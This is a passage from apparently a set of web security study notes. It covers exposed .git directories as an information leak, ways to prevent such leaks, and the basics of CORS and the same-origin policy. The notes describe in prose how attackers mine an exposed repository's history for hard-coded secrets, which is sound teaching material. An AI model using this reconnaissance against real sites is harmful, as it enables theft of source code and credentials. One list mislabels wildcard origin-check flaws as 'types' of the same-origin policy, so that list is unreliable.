290 | 291 | ```text 292 | Virtually all websites are developed using some form of version control system, such as Git. By default, a Git project stores all of its version control data in a folder called .git. 293 | Occasionally, websites expose this directory in the production environment. In this case, you might be able to access it by simply browsing to /.git. 294 | 295 | While it is often impractical to manually browse the raw file structure and contents, there are various methods for downloading the entire .git directory. 296 | You can then open it using your local installation of Git to gain access to the website's version control history. 297 | This may include logs containing committed changes and other interesting information. 298 | 299 | This might not give you access to the full source code, but comparing the diff will allow you to read small snippets of code. 300 | As with any source code, you might also find sensitive data hard-coded within some of the changed lines. 301 | ``` 302 | 303 | ## How to prevent information disclosure vulnerabilities 304 | 305 | ```text 306 | Preventing information disclosure completely is tricky due to the huge variety of ways in which it can occur. However, there are some general best practices that you can follow to minimize the risk of these kinds of vulnerability creeping into your own websites. 307 | 308 | * Make sure that everyone involved in producing the website is fully aware of what information is considered sensitive. 309 | Sometimes seemingly harmless information can be much more useful to an attacker than people realize. 310 | Highlighting these dangers can help make sure that sensitive information is handled more securely in general by your organization. 311 | * Audit any code for potential information disclosure as part of your QA or build processes. It should be relatively easy to automate some of the associated tasks, such as stripping developer comments. 312 | * Use generic error messages as much as possible. Don't provide attackers with clues about application behavior unnecessarily. 313 | * Double-check that any debugging or diagnostic features are disabled in the production environment. 314 | * Make sure you fully understand the configuration settings, and security implications, of any third-party technology that you implement. 315 | Take the time to investigate and disable any features and settings that you don't actually need. 316 | ``` 317 | 318 | -------------------------------------------------------------------------------- /days/day18.md: -------------------------------------------------------------------------------- 1 | ### Cross-origin resource sharing (CORS) 2 | 3 | ### What is CORS (cross-origin resource sharing)? 4 | ```` 5 | Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. 6 | It extends and adds flexibility to the same-origin policy (SOP). However, it also provides potential for cross-domain based attacks, if a website's CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks such as cross-site request forgery (CSRF). 7 | ```` 8 | ### Same-origin policy 9 | ```` 10 | The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources outside of the source domain. 11 | The same-origin policy was defined many years ago in response to potentially malicious cross-domain interactions, such as one website stealing private data from another. 12 | It generally allows a domain to issue requests to other domains, but not to access the responses. 13 | ```` 14 | ### What is the same-origin policy? 15 | ```` 16 | The same-origin policy is a web browser security mechanism that aims to prevent websites from attacking each other. 17 | 18 | The same-origin policy restricts scripts on one origin from accessing data from another origin. An origin consists of a URI scheme, domain and port number. For example, consider the following URL: 19 | 20 | http://normal-website.com/example/example.html 21 | 22 | This uses the scheme http, the domain normal-website.com, and the port number 80. The following table shows how the same-origin policy will be applied if content at the above URL tries to access other origins: 23 | 24 | URL accessed Access permitted? 25 | http://normal-website.com/example/ Yes: same scheme, domain, and port 26 | http://normal-website.com/example2/ Yes: same scheme, domain, and port 27 | https://normal-website.com/example/ No: different scheme and port 28 | http://en.normal-website.com/example/ No: different domain 29 | http://www.normal-website.com/example/ No: different domain 30 | http://normal-website.com:8080/example/ No: different port* 31 | *Internet Explorer will allow this access because IE does not take account of the port number when applying the same-origin policy. 32 | ```` 33 | ### Types of Same Origin Policy 34 | ```` 35 | 1. Pre-domain Wildcard 36 | 2. Sub-domain Wildcard 37 | 3. Post-domain Wildcard 38 | ```` 39 | ### Why is the same-origin policy necessary ? 40 | ```` 41 | When a browser sends an HTTP request from one origin to another, any cookies, including authentication session cookies, relevant to the other domain are also sent as part of the request. This means that the response will be generated within the user's session, and include any relevant data that is specific to the user. Without the same-origin policy, if you visited a malicious website, it would be able to read your emails from GMail, private messages from Facebook, etc. 42 | ```` 43 | ### How is the same-origin policy implemented ? 44 | ```` 45 | The same-origin policy generally controls the access that JavaScript code has to content that is loaded cross-domain. Cross-origin loading of page resources is generally permitted. For example, the SOP allows embedding of images via the tag, media via the